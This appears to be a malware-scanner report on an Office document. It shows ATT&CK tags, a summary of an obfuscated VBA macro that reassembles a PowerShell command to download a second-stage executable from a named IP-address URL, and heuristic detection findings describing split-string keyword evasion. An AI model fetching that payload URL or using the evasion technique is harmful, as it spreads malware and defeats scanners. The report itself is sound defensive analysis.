MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The VBA macro contains obfuscated strings that, when reassembled, form a PowerShell command. This command is designed to download and execute a second-stage payload from the URL 'http://3.64.251.139/y/r/QegkQD7aPA T UZdkQBMBD.exe'. The use of Shell() and the reassembled 'powershell' keyword indicate a critical risk.

Heuristics 3

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
